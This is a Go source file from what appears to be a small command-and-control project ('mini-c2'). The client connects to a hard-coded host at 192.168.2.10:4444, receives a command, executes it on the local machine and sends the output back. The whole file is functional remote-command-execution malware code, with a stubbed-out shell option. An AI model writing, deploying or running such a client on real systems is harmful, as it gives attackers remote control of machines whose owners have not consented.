Files
mini-c2/clientp1.go
T
2025-09-13 18:25:59 -06:00

58 lines
970 B
Go

package main
import (
"net"
"os/exec"
"strings"
)
type remoteAddr struct {
Addr string
}
func SetAddr() *remoteAddr {
return &remoteAddr {
Addr: "192.168.2.10:4444",
}
}
func (ra remoteAddr) CreateConn() {
conn, err := net.Dial("tcp", ra.Addr)
if err != nil {
return
}
buf := make([]byte,4096)
n, err := conn.Read(buf)
data := string(buf[:n])
mensaje := strings.TrimSpace(data)
partes := strings.Split(mensaje, " ")
comandoPrincipal := partes[0]
if comandoPrincipal != "shell" {
sendOutput(conn, partes)
} else {
//sendShell()
return
}
}
func sendOutput(conn net.Conn, partes []string) {
defer conn.Close()
comandoPrincipal := partes[0]
argumentos := partes[1:]
cmd := exec.Command(comandoPrincipal, argumentos...)
output, err := cmd.CombinedOutput()
if err != nil {
return
}
_, err = conn.Write(output)
if err != nil {
return
}
conn.Close()
}
func main() {
obj_reverConn := SetAddr()
obj_reverConn.CreateConn()
}